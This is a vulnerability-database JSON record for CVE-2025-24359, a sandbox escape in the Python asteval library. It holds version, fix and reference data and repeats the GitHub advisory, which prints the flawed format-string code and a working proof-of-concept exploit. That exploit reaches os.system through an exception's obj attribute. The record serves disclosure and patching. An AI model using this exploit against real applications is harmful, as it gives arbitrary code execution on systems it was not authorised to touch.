{"id":"CVE-2025-24359","aliases":["DEBIAN-CVE-2025-24359","EUVD-2025-0127","GHSA-3wwr-3g9f-9gc7","OESA-2025-1297","OESA-2025-1298","OESA-2025-2558","PYSEC-2026-1195","ROOT-APP-PYPI-CVE-2025-24359","UBUNTU-CVE-2025-24359","openSUSE-SU-2025:0052-1","openSUSE-SU-2025:14701-1"],"status":"published","title":"ASTEVAL Vulnerable to Maliciously Crafted Format Strings Leading to Sandbox Escape","description":"ASTEVAL is an evaluator of Python expressions and statements. Prior to version 1.0.6, if an attacker can control the input to the `asteval` library, they can bypass asteval's restrictions and execute arbitrary Python code in the context of the application using the library. The vulnerability is rooted in how `asteval` performs handling of `FormattedValue` AST nodes. In particular, the `on_formattedvalue` value uses the dangerous format method of the str class. The code allows an attacker to manipulate the value of the string used in the dangerous call `fmt.format(__fstring__=val)`. This vulnerability can be exploited to access protected attributes by intentionally triggering an `AttributeError` exception. The attacker can then catch the exception and use its `obj` attribute to gain arbitrary access to sensitive or protected object properties. Version 1.0.6 fixes this issue.","severity":{"version":"3.1","score":8.4,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-10","score":0.00278,"percentile":0.20417,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-134","CWE-749"],"published":"2025-01-24T16:52:44Z","modified":"2026-10-28T02:30:23Z","fixes":[{"ecosystem":"PyPI","package":"asteval","fixed_in":["1.0.6"],"sources":["ghsa","osv"]},{"ecosystem":"Debian:13","package":"python-asteval","fixed_in":["1.0.6-2"],"sources":["osv"]},{"ecosystem":"Debian:14","package":"python-asteval","fixed_in":["1.0.6-2"],"sources":["osv"]},{"ecosystem":"openEuler:24.03-LTS-SP1","package":"python-asteval","fixed_in":["1.0.6-1.oe2403sp1"],"sources":["osv"]},{"ecosystem":"openEuler:24.03-LTS","package":"python-asteval","fixed_in":["1.0.6-1.oe2403"],"sources":["osv"]},{"ecosystem":"openEuler:22.03-LTS-SP4","package":"python-asteval","fixed_in":["0.9.25-1.oe2203sp4"],"sources":["osv"]},{"ecosystem":"Root:PyPI","package":"rootio-asteval","fixed_in":["1.0.5+root.io.1","1.0.5+root.io.2"],"sources":["osv"]},{"ecosystem":"Root:PyPI","package":"asteval","fixed_in":["1.0.5+aikido.2"],"sources":["osv"]},{"ecosystem":"SUSE:Package Hub 15 SP6","package":"python-asteval","fixed_in":["1.0.6-bp156.4.3.1"],"sources":["osv"]},{"ecosystem":"openSUSE:Leap 15.6","package":"python-asteval","fixed_in":["1.0.6-bp156.4.3.1"],"sources":["osv"]},{"ecosystem":"openSUSE:Tumbleweed","package":"python-asteval","fixed_in":["1.0.6-1.1"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"PyPI","package":"asteval","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"1.0.5"},{"fixed":"1.0.6"}]}]},{"source":"osv","ecosystem":"Debian:12","package":"python-asteval","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.9.28-1","0.9.30-1","0.9.31-1","1.0.6-1","1.0.6-2"]},{"source":"osv","ecosystem":"Debian:13","package":"python-asteval","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.0.6-2"}]}]},{"source":"osv","ecosystem":"Debian:14","package":"python-asteval","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.0.6-2"}]}]},{"source":"osv","ecosystem":"PyPI","package":"asteval","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.0.6"}]}],"versions":["0.9","0.9.1","0.9.10","0.9.11","0.9.12","0.9.13","0.9.14","0.9.15","0.9.16","0.9.17","0.9.18","0.9.19","0.9.2","0.9.20","0.9.21","0.9.22","0.9.23","0.9.24","0.9.25","0.9.26","0.9.27","0.9.28","0.9.29","0.9.3","0.9.30","0.9.31","0.9.32","0.9.33","0.9.4","0.9.5","0.9.6","0.9.7","0.9.8","0.9.9","1.0.0","1.0.1","1.0.2","1.0.3","1.0.4","1.0.5"]},{"source":"osv","ecosystem":"openEuler:24.03-LTS-SP1","package":"python-asteval","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.0.6-1.oe2403sp1"}]}]},{"source":"osv","ecosystem":"openEuler:24.03-LTS","package":"python-asteval","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.0.6-1.oe2403"}]}]},{"source":"osv","ecosystem":"openEuler:22.03-LTS-SP4","package":"python-asteval","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.9.25-1.oe2203sp4"}]}]},{"source":"osv","ecosystem":"PyPI","package":"asteval","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.0.6"}]}],"versions":["0.9","0.9.1","0.9.10","0.9.11","0.9.12","0.9.13","0.9.14","0.9.15","0.9.16","0.9.17","0.9.18","0.9.19","0.9.2","0.9.20","0.9.21","0.9.22","0.9.23","0.9.24","0.9.25","0.9.26","0.9.27","0.9.28","0.9.29","0.9.3","0.9.30","0.9.31","0.9.32","0.9.33","0.9.4","0.9.5","0.9.6","0.9.7","0.9.8","0.9.9","1.0.0","1.0.1","1.0.2","1.0.3","1.0.4","1.0.5"]},{"source":"osv","ecosystem":"Root:PyPI","package":"rootio-asteval","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.0.5+root.io.1"},{"fixed":"1.0.5+root.io.2"}]}]},{"source":"osv","ecosystem":"Root:PyPI","package":"asteval","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.0.5+aikido.2"}]}]},{"source":"osv","ecosystem":"Ubuntu:20.04:LTS","package":"python-asteval","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.9.12-1","0.9.12-2","0.9.17-1"]},{"source":"osv","ecosystem":"Ubuntu:22.04:LTS","package":"python-asteval","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.9.19-2","0.9.25-2"]},{"source":"osv","ecosystem":"Ubuntu:24.04:LTS","package":"python-asteval","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.9.30-1","0.9.31-1"]},{"source":"osv","ecosystem":"SUSE:Package Hub 15 SP6","package":"python-asteval","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.0.6-bp156.4.3.1"}]}]},{"source":"osv","ecosystem":"openSUSE:Leap 15.6","package":"python-asteval","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.0.6-bp156.4.3.1"}]}]},{"source":"osv","ecosystem":"openSUSE:Tumbleweed","package":"python-asteval","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.0.6-1.1"}]}]}],"products":[{"vendor":"lmfit","product":"asteval"}],"references":[{"url":"https://github.com/lmfit/asteval/security/advisories/GHSA-3wwr-3g9f-9gc7","tags":["x_refsource_CONFIRM","advisory","web","report"]},{"url":"https://github.com/lmfit/asteval/blob/cfb57f0beebe0dc0520a1fbabc35e66060c7ea71/asteval/asteval.py#L507","tags":["x_refsource_MISC","web","report"]},{"url":"https://lucumr.pocoo.org/2016/12/29/careful-with-str-format","tags":["x_refsource_MISC","web","report"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2025-24359","tags":["advisory"]},{"url":"https://github.com/lmfit/asteval/commit/45bb47533f7abb5479618ae7f6a809215700dcb2","tags":["web"]},{"url":"https://github.com/advisories/GHSA-3wwr-3g9f-9gc7","tags":["advisory"]},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2025/24xxx/CVE-2025-24359.json","tags":["advisory"]},{"url":"https://security-tracker.debian.org/tracker/CVE-2025-24359","tags":["advisory"]},{"url":"https://github.com/lmfit/asteval","tags":["package"]},{"url":"https://www.openeuler.org/zh/security/security-bulletins/detail/?id=openEuler-SA-2025-1297","tags":["advisory"]},{"url":"https://www.openeuler.org/zh/security/security-bulletins/detail/?id=openEuler-SA-2025-1298","tags":["advisory"]},{"url":"https://www.openeuler.org/zh/security/security-bulletins/detail/?id=openEuler-SA-2025-2558","tags":["advisory"]},{"url":"https://pypi.org/project/asteval","tags":["package"]},{"url":"https://ubuntu.com/security/CVE-2025-24359","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2025-24359","tags":["report"]},{"url":"https://lists.opensuse.org/archives/list/security-announce@lists.opensuse.org/thread/S3ET4NHUOZVYKROXRFLTLBVGPX32M46Q/","tags":["advisory"]},{"url":"https://bugzilla.suse.com/1236405","tags":["report"]},{"url":"https://www.suse.com/security/cve/CVE-2025-24359","tags":["web"]},{"url":"https://lists.opensuse.org/archives/list/security-announce@lists.opensuse.org/thread/RCIYZNYY34TMKJK6SAESDFFCWXTAMH4M/","tags":["advisory"]}],"sources":{"cve":[{"id":"CVE-2025-24359","title":"ASTEVAL Vulnerable to Maliciously Crafted Format Strings Leading to Sandbox Escape","description":"ASTEVAL is an evaluator of Python expressions and statements. Prior to version 1.0.6, if an attacker can control the input to the `asteval` library, they can bypass asteval's restrictions and execute arbitrary Python code in the context of the application using the library. The vulnerability is rooted in how `asteval` performs handling of `FormattedValue` AST nodes. In particular, the `on_formattedvalue` value uses the dangerous format method of the str class. The code allows an attacker to manipulate the value of the string used in the dangerous call `fmt.format(__fstring__=val)`. This vulnerability can be exploited to access protected attributes by intentionally triggering an `AttributeError` exception. The attacker can then catch the exception and use its `obj` attribute to gain arbitrary access to sensitive or protected object properties. Version 1.0.6 fixes this issue.","status":"published","published":"2025-01-24T16:52:44.304Z","modified":"2025-02-12T20:01:18.799Z","cvss":[{"version":"3.1","score":8.4,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"high","assessor":"cna"}],"cwes":["CWE-134","CWE-749"],"updated_at":"2026-11-02T14:32:44.11109Z"}],"euvd":[{"id":"EUVD-2025-0127","description":"ASTEVAL is an evaluator of Python expressions and statements. Prior to version 1.0.6, if an attacker can control the input to the `asteval` library, they can bypass asteval's restrictions and execute arbitrary Python code in the context of the application using the library. The vulnerability is rooted in how `asteval` performs handling of `FormattedValue` AST nodes. In particular, the `on_formattedvalue` value uses the dangerous format method of the str class. The code allows an attacker to manipulate the value of the string used in the dangerous call `fmt.format(__fstring__=val)`. This vulnerability can be exploited to access protected attributes by intentionally triggering an `AttributeError` exception. The attacker can then catch the exception and use its `obj` attribute to gain arbitrary access to sensitive or protected object properties. Version 1.0.6 fixes this issue.","status":"published","published":"2025-01-24T16:52:44Z","modified":"2025-02-12T20:01:18Z","cvss":[{"version":"3.1","score":8.4,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"high"}],"updated_at":"2026-11-03T00:03:56.967798Z"}],"ghsa":[{"id":"GHSA-3wwr-3g9f-9gc7","title":"ASTEVAL Allows Maliciously Crafted Format Strings to Lead to Sandbox Escape","description":"### Summary\nIf an attacker can control the input to the `asteval` library, they can bypass asteval's restrictions and execute arbitrary Python code in the context of the application using the library.\n\n### Details\nThe vulnerability is rooted in how `asteval` performs handling of `FormattedValue` AST nodes. In particular, the [`on_formattedvalue`](https://github.com/lmfit/asteval/blob/cfb57f0beebe0dc0520a1fbabc35e66060c7ea71/asteval/asteval.py#L507) value uses the [dangerous format method of the str class](https://lucumr.pocoo.org/2016/12/29/careful-with-str-format/), as shown in the vulnerable code snippet below:\n\n```py\n    def on_formattedvalue(self, node): # ('value', 'conversion', 'format_spec')\n        \"formatting used in f-strings\"\n        val = self.run(node.value)\n        fstring_converters = {115: str, 114: repr, 97: ascii}\n        if node.conversion in fstring_converters:\n            val = fstring_converters[node.conversion](val)\n        fmt = '{__fstring__}'\n        if node.format_spec is not None:\n            fmt = f'{{__fstring__:{self.run(node.format_spec)}}}'\n        return fmt.format(__fstring__=val)\n```\n\nThe code above allows an attacker to manipulate the value of the string used in the dangerous call `fmt.format(__fstring__=val)`. This vulnerability can be exploited to access protected attributes by intentionally triggering an `AttributeError` exception. The attacker can then catch the exception and use its `obj` attribute to gain arbitrary access to sensitive or protected object properties.\n\n### PoC\nThe following proof-of-concept (PoC) demonstrates how this vulnerability can be exploited to execute the `whoami` command on the host machine:\n\n```py\nfrom asteval import Interpreter\naeval = Interpreter()\ncode = \"\"\"\n# def lender():\n#     ga\n    \ndef pwn():\n    try:\n        f\"{dict.mro()[1]:'\\\\x7B__fstring__.__getattribute__.s\\\\x7D'}\"\n    except Exception as ga:\n        ga = ga.obj\n        sub = ga(dict.mro()[1],\"__subclasses__\")()\n        importer = None\n        for i in sub:\n            if \"BuiltinImporter\" in str(i):\n                importer = i.load_module\n                break\n        os = importer(\"os\")\n        os.system(\"whoami\")\n\n# pre commit cfb57f0beebe0dc0520a1fbabc35e66060c7ea71, it was required to modify the AST to make this work using the code below\n# pwn.body[0].handlers[0].name = lender.body[0].value # need to make it an identifier so node_assign works\n        \npwn()\n\"\"\"\naeval(code)\n\n```","status":"published","published":"2025-01-24T18:45:30Z","modified":"2025-01-25T00:54:52Z","cvss":[{"version":"3.1","score":8.4,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"high"}],"cwes":["CWE-134","CWE-749"],"updated_at":"2026-11-02T14:38:28.945236Z"}],"nvd":[{"id":"CVE-2025-24359","description":"ASTEVAL is an evaluator of Python expressions and statements. Prior to version 1.0.6, if an attacker can control the input to the `asteval` library, they can bypass asteval's restrictions and execute arbitrary Python code in the context of the application using the library. The vulnerability is rooted in how `asteval` performs handling of `FormattedValue` AST nodes. In particular, the `on_formattedvalue` value uses the dangerous format method of the str class. The code allows an attacker to manipulate the value of the string used in the dangerous call `fmt.format(__fstring__=val)`. This vulnerability can be exploited to access protected attributes by intentionally triggering an `AttributeError` exception. The attacker can then catch the exception and use its `obj` attribute to gain arbitrary access to sensitive or protected object properties. Version 1.0.6 fixes this issue.","status":"published","published":"2025-01-24T17:15:16.197Z","modified":"2026-06-17T08:58:46.247Z","cvss":[{"version":"3.1","score":8.4,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"high","assessor":"secondary"}],"cwes":["CWE-134","CWE-749"],"updated_at":"2026-11-02T14:10:49.483601Z"}],"osv":[{"id":"CVE-2025-24359","title":"ASTEVAL Vulnerable to Maliciously Crafted Format Strings Leading to Sandbox Escape","description":"ASTEVAL is an evaluator of Python expressions and statements. Prior to version 1.0.6, if an attacker can control the input to the `asteval` library, they can bypass asteval's restrictions and execute arbitrary Python code in the context of the application using the library. The vulnerability is rooted in how `asteval` performs handling of `FormattedValue` AST nodes. In particular, the `on_formattedvalue` value uses the dangerous format method of the str class. The code allows an attacker to manipulate the value of the string used in the dangerous call `fmt.format(__fstring__=val)`. This vulnerability can be exploited to access protected attributes by intentionally triggering an `AttributeError` exception. The attacker can then catch the exception and use its `obj` attribute to gain arbitrary access to sensitive or protected object properties. Version 1.0.6 fixes this issue.","status":"published","published":"2025-01-24T16:52:44.304Z","modified":"2026-10-28T02:30:23.955637219Z","cvss":[{"version":"3.1","score":8.4,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"high"}],"cwes":["CWE-134","CWE-749"],"updated_at":"2026-11-02T15:44:47.009967Z"},{"id":"DEBIAN-CVE-2025-24359","description":"ASTEVAL is an evaluator of Python expressions and statements. Prior to version 1.0.6, if an attacker can control the input to the `asteval` library, they can bypass asteval's restrictions and execute arbitrary Python code in the context of the application using the library. The vulnerability is rooted in how `asteval` performs handling of `FormattedValue` AST nodes. In particular, the `on_formattedvalue` value uses the dangerous format method of the str class. The code allows an attacker to manipulate the value of the string used in the dangerous call `fmt.format(__fstring__=val)`. This vulnerability can be exploited to access protected attributes by intentionally triggering an `AttributeError` exception. The attacker can then catch the exception and use its `obj` attribute to gain arbitrary access to sensitive or protected object properties. Version 1.0.6 fixes this issue.","status":"published","published":"2025-01-24T17:15:16.197Z","modified":"2026-09-01T20:05:45.119214011Z","cvss":[{"version":"3.1","score":8.4,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"high"}],"updated_at":"2026-11-02T15:45:45.870237Z"},{"id":"GHSA-3wwr-3g9f-9gc7","title":"ASTEVAL Allows Maliciously Crafted Format Strings to Lead to Sandbox Escape","description":"### Summary\nIf an attacker can control the input to the `asteval` library, they can bypass asteval's restrictions and execute arbitrary Python code in the context of the application using the library.\n\n### Details\nThe vulnerability is rooted in how `asteval` performs handling of `FormattedValue` AST nodes. In particular, the [`on_formattedvalue`](https://github.com/lmfit/asteval/blob/cfb57f0beebe0dc0520a1fbabc35e66060c7ea71/asteval/asteval.py#L507) value uses the [dangerous format method of the str class](https://lucumr.pocoo.org/2016/12/29/careful-with-str-format/), as shown in the vulnerable code snippet below:\n\n```py\n    def on_formattedvalue(self, node): # ('value', 'conversion', 'format_spec')\n        \"formatting used in f-strings\"\n        val = self.run(node.value)\n        fstring_converters = {115: str, 114: repr, 97: ascii}\n        if node.conversion in fstring_converters:\n            val = fstring_converters[node.conversion](val)\n        fmt = '{__fstring__}'\n        if node.format_spec is not None:\n            fmt = f'{{__fstring__:{self.run(node.format_spec)}}}'\n        return fmt.format(__fstring__=val)\n```\n\nThe code above allows an attacker to manipulate the value of the string used in the dangerous call `fmt.format(__fstring__=val)`. This vulnerability can be exploited to access protected attributes by intentionally triggering an `AttributeError` exception. The attacker can then catch the exception and use its `obj` attribute to gain arbitrary access to sensitive or protected object properties.\n\n### PoC\nThe following proof-of-concept (PoC) demonstrates how this vulnerability can be exploited to execute the `whoami` command on the host machine:\n\n```py\nfrom asteval import Interpreter\naeval = Interpreter()\ncode = \"\"\"\n# def lender():\n#     ga\n    \ndef pwn():\n    try:\n        f\"{dict.mro()[1]:'\\\\x7B__fstring__.__getattribute__.s\\\\x7D'}\"\n    except Exception as ga:\n        ga = ga.obj\n        sub = ga(dict.mro()[1],\"__subclasses__\")()\n        importer = None\n        for i in sub:\n            if \"BuiltinImporter\" in str(i):\n                importer = i.load_module\n                break\n        os = importer(\"os\")\n        os.system(\"whoami\")\n\n# pre commit cfb57f0beebe0dc0520a1fbabc35e66060c7ea71, it was required to modify the AST to make this work using the code below\n# pwn.body[0].handlers[0].name = lender.body[0].value # need to make it an identifier so node_assign works\n        \npwn()\n\"\"\"\naeval(code)\n\n```","status":"published","published":"2025-01-24T18:45:30Z","modified":"2026-07-07T17:57:00.410027122Z","cvss":[{"version":"3.1","score":8.4,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"high"}],"cwes":["CWE-134","CWE-749"],"updated_at":"2026-11-02T15:46:36.092962Z"},{"id":"OESA-2025-1297","title":"python-asteval security update","description":"ASTEVAL provides a numpy-aware, safe(ish) \u0026amp;apos;eval\u0026amp;apos; function Emphasis is on mathematical expressions, and so numpy ufuncs are used if available.  Symbols are held in the Interpreter symbol table \u0026amp;apos;symtable\u0026amp;apos;:  a simple dictionary supporting a simple, flat namespace. Expressions can be compiled into ast node for later evaluation, using the values in the symbol table current at evaluation time.\r\n\r\nSecurity Fix(es):\n\nASTEVAL is an evaluator of Python expressions and statements. Prior to version 1.0.6, if an attacker can control the input to the `asteval` library, they can bypass asteval\u0026apos;s restrictions and execute arbitrary Python code in the context of the application using the library. The vulnerability is rooted in how `asteval` performs handling of `FormattedValue` AST nodes. In particular, the `on_formattedvalue` value uses the dangerous format method of the str class. The code allows an attacker to manipulate the value of the string used in the dangerous call `fmt.format(__fstring__=val)`. This vulnerability can be exploited to access protected attributes by intentionally triggering an `AttributeError` exception. The attacker can then catch the exception and use its `obj` attribute to gain arbitrary access to sensitive or protected object properties. Version 1.0.6 fixes this issue.(CVE-2025-24359)","status":"published","published":"2025-03-21T11:08:23Z","modified":"2026-08-18T01:17:49.883079488Z","cvss":[{"version":"3.1","score":8.4,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"high"}],"updated_at":"2026-11-02T15:52:42.714349Z"},{"id":"OESA-2025-1298","title":"python-asteval security update","description":"ASTEVAL provides a numpy-aware, safe(ish) \u0026amp;apos;eval\u0026amp;apos; function Emphasis is on mathematical expressions, and so numpy ufuncs are used if available.  Symbols are held in the Interpreter symbol table \u0026amp;apos;symtable\u0026amp;apos;:  a simple dictionary supporting a simple, flat namespace. Expressions can be compiled into ast node for later evaluation, using the values in the symbol table current at evaluation time.\r\n\r\nSecurity Fix(es):\n\nASTEVAL is an evaluator of Python expressions and statements. Prior to version 1.0.6, if an attacker can control the input to the `asteval` library, they can bypass asteval\u0026apos;s restrictions and execute arbitrary Python code in the context of the application using the library. The vulnerability is rooted in how `asteval` performs handling of `FormattedValue` AST nodes. In particular, the `on_formattedvalue` value uses the dangerous format method of the str class. The code allows an attacker to manipulate the value of the string used in the dangerous call `fmt.format(__fstring__=val)`. This vulnerability can be exploited to access protected attributes by intentionally triggering an `AttributeError` exception. The attacker can then catch the exception and use its `obj` attribute to gain arbitrary access to sensitive or protected object properties. Version 1.0.6 fixes this issue.(CVE-2025-24359)","status":"published","published":"2025-03-21T11:08:23Z","modified":"2026-08-18T01:17:49.918568408Z","cvss":[{"version":"3.1","score":8.4,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"high"}],"updated_at":"2026-11-02T15:52:42.714349Z"},{"id":"OESA-2025-2558","title":"python-asteval security update","description":"ASTEVAL provides a numpy-aware, safe(ish) \u0026amp;apos;eval\u0026amp;apos; function\r\n\r\nSecurity Fix(es):\n\nASTEVAL is an evaluator of Python expressions and statements. Prior to version 1.0.6, if an attacker can control the input to the `asteval` library, they can bypass asteval s restrictions and execute arbitrary Python code in the context of the application using the library. The vulnerability is rooted in how `asteval` performs handling of `FormattedValue` AST nodes. In particular, the `on_formattedvalue` value uses the dangerous format method of the str class. The code allows an attacker to manipulate the value of the string used in the dangerous call `fmt.format(__fstring__=val)`. This vulnerability can be exploited to access protected attributes by intentionally triggering an `AttributeError` exception. The attacker can then catch the exception and use its `obj` attribute to gain arbitrary access to sensitive or protected object properties. Version 1.0.6 fixes this issue.(CVE-2025-24359)","status":"published","published":"2025-10-31T11:09:39Z","modified":"2026-08-18T01:19:16.396531844Z","cvss":[{"version":"3.1","score":8.4,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"high"}],"updated_at":"2026-11-02T15:52:44.957082Z"},{"id":"PYSEC-2026-1195","title":"ASTEVAL Allows Maliciously Crafted Format Strings to Lead to Sandbox Escape","description":"### Summary\nIf an attacker can control the input to the `asteval` library, they can bypass asteval's restrictions and execute arbitrary Python code in the context of the application using the library.\n\n### Details\nThe vulnerability is rooted in how `asteval` performs handling of `FormattedValue` AST nodes. In particular, the [`on_formattedvalue`](https://github.com/lmfit/asteval/blob/cfb57f0beebe0dc0520a1fbabc35e66060c7ea71/asteval/asteval.py#L507) value uses the [dangerous format method of the str class](https://lucumr.pocoo.org/2016/12/29/careful-with-str-format/), as shown in the vulnerable code snippet below:\n\n```py\n    def on_formattedvalue(self, node): # ('value', 'conversion', 'format_spec')\n        \"formatting used in f-strings\"\n        val = self.run(node.value)\n        fstring_converters = {115: str, 114: repr, 97: ascii}\n        if node.conversion in fstring_converters:\n            val = fstring_converters[node.conversion](val)\n        fmt = '{__fstring__}'\n        if node.format_spec is not None:\n            fmt = f'{{__fstring__:{self.run(node.format_spec)}}}'\n        return fmt.format(__fstring__=val)\n```\n\nThe code above allows an attacker to manipulate the value of the string used in the dangerous call `fmt.format(__fstring__=val)`. This vulnerability can be exploited to access protected attributes by intentionally triggering an `AttributeError` exception. The attacker can then catch the exception and use its `obj` attribute to gain arbitrary access to sensitive or protected object properties.\n\n### PoC\nThe following proof-of-concept (PoC) demonstrates how this vulnerability can be exploited to execute the `whoami` command on the host machine:\n\n```py\nfrom asteval import Interpreter\naeval = Interpreter()\ncode = \"\"\"\n# def lender():\n#     ga\n    \ndef pwn():\n    try:\n        f\"{dict.mro()[1]:'\\\\x7B__fstring__.__getattribute__.s\\\\x7D'}\"\n    except Exception as ga:\n        ga = ga.obj\n        sub = ga(dict.mro()[1],\"__subclasses__\")()\n        importer = None\n        for i in sub:\n            if \"BuiltinImporter\" in str(i):\n                importer = i.load_module\n                break\n        os = importer(\"os\")\n        os.system(\"whoami\")\n\n# pre commit cfb57f0beebe0dc0520a1fbabc35e66060c7ea71, it was required to modify the AST to make this work using the code below\n# pwn.body[0].handlers[0].name = lender.body[0].value # need to make it an identifier so node_assign works\n        \npwn()\n\"\"\"\naeval(code)\n\n```","status":"published","published":"2026-07-07T14:34:49.119921Z","modified":"2026-07-07T17:47:11.830131816Z","cvss":[{"version":"3.1","score":8.4,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"high"}],"updated_at":"2026-11-02T15:52:54.622769Z"},{"id":"UBUNTU-CVE-2025-24359","description":"ASTEVAL is an evaluator of Python expressions and statements. Prior to version 1.0.6, if an attacker can control the input to the `asteval` library, they can bypass asteval's restrictions and execute arbitrary Python code in the context of the application using the library. The vulnerability is rooted in how `asteval` performs handling of `FormattedValue` AST nodes. In particular, the `on_formattedvalue` value uses the dangerous format method of the str class. The code allows an attacker to manipulate the value of the string used in the dangerous call `fmt.format(__fstring__=val)`. This vulnerability can be exploited to access protected attributes by intentionally triggering an `AttributeError` exception. The attacker can then catch the exception and use its `obj` attribute to gain arbitrary access to sensitive or protected object properties. Version 1.0.6 fixes this issue.","status":"published","published":"2025-01-24T17:15:00Z","modified":"2025-10-24T05:18:08Z","cvss":[{"version":"3.1","score":8.4,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"high"}],"updated_at":"2026-11-02T16:55:26.330196Z"},{"id":"openSUSE-SU-2025:0052-1","title":"Security update for python-asteval","description":"This update for python-asteval fixes the following issues:\n\nUpdate to 1.0.6:\n\n  * drop testing and support for Python3.8, add Python 3.13,\n    change document to reflect this.\n  * implement safe_getattr and safe_format functions; fix bugs\n    in UNSAFE_ATTRS and UNSAFE_ATTRS_DTYPES usage (boo#1236405,\n    CVE-2025-24359)\n  * make all procedure attributes private to curb access to AST\n    nodes, which can be exploited\n  * improvements to error messages, including use ast functions\n    to construct better error messages\n  * remove import of numpy.linalg, as documented\n  * update doc description for security advisory\n\nUpdate to 1.0.5:\n\n  * more work on handling errors, including fixing #133 and\n    adding more comprehensive tests for #129 and #132\n\nUpdate to 1.0.4:\n\n  * fix error handling that might result in null exception\n\nUpdate to 1.0.3:\n\n  * functions ('Procedures') defined within asteval have a `\n    _signature()` method, now use in repr\n  * add support for deleting subscript\n  * nested symbol tables now have a  Group() function\n  * update coverage config\n  * cleanups of exception handling :  errors must now have an\n    exception\n  * several related fixes to suppress repeated exceptions: see GH\n    #132 and #129\n  * make non-boolean return values from comparison operators\n    behave like Python - not immediately testing as bool\n\n- update to 1.0.2:\n  * fix NameError handling in expression code\n  * make exception messages more Python-like\n- update to 1.0.1:\n  * security fixes, based on audit by Andrew Effenhauser, Ayman\n    Hammad, and Daniel Crowley, IBM X-Force Security Research\n    division\n  * remove numpy modules polynomial, fft, linalg by default for\n    security concerns\n  * disallow string.format(), improve security of f-string\n    evaluation\n\n- update to 1.0.0:\n  * fix (again) nested list comprehension (Issues #127 and #126).\n  * add more testing of multiple list comprehensions.\n  * more complete support for Numpy 2, and removal of many Numpy\n    symbols that have been long deprecated.\n  * remove AST nodes deprecated in Python 3.8.\n  * clean up build files and outdated tests.\n  * fixes to codecov configuration.\n  * update docs.\n\n- update to 0.9.33:\n  * fixes for multiple list comprehensions (addressing #126)\n  * add testing with optionally installed numpy_financial to CI\n  * test existence of all numpy imports to better safeguard\n    against missing functions (for safer numpy 2 transition)\n  * update rendered doc to include PDF and zipped HTML\n\n- update to 0.9.32:\n  * add deprecations message for numpy functions to be removed in\n    numpy 2.0\n  * comparison operations use try/except for short-circuiting\n    instead of checking for numpy arrays (addressing #123)\n  * add Python 3.12 to testing\n  * move repository from 'newville' to 'lmfit' organization\n  * update doc theme, GitHub locations pointed to by docs, other\n    doc tweaks.\n\n- Update to 0.9.31:\n  * cleanup numpy imports to avoid deprecated functions, add financial\n  functions from numpy_financial module, if installed.\n  * prefer 'user_symbols' when initializing Interpreter, but still support\n  'usersyms' argument. Will deprecate and remove eventually.\n  * add support of optional (off-by default) 'nested symbol table'.\n  * update tests to run most tests with symbol tables of dict and nested\n  group type.\n  * general code and testing cleanup.\n  * add config argument to Interpreter to more fully control which nodes are supported\n  * add support for import and importfrom -- off by default\n  * add support for with blocks\n  * add support for f-strings\n  * add support of set and dict comprehension\n  * fix bug with 'int**int' not returning a float.\n\n- update to 0.9.29:\n  * bug fixes\n\n- Update to 0.9.28\n  * add support for Python 3.11\n  * add support for multiple list comprehensions\n  * improve performance of making the initial symbol table,\n    and Interpreter creation, including better checking for index_tricks attributes\n\n- update to 0.9.27:\n  * more cleanups\n\n- update to 0.9.26:\n  * fix setup.py again\n\n- update to 0.9.25:\n  * fixes import errors for Py3.6 and 3.7, setting version with\n    importlib_metadata.version if available.\n  * use setuptools_scm and importlib for version\n  * treat all __dunder__ attributes of all objects as inherently unsafe.\n\n- Update to 0.9.22\n  * another important but small fix for Python 3.9\n  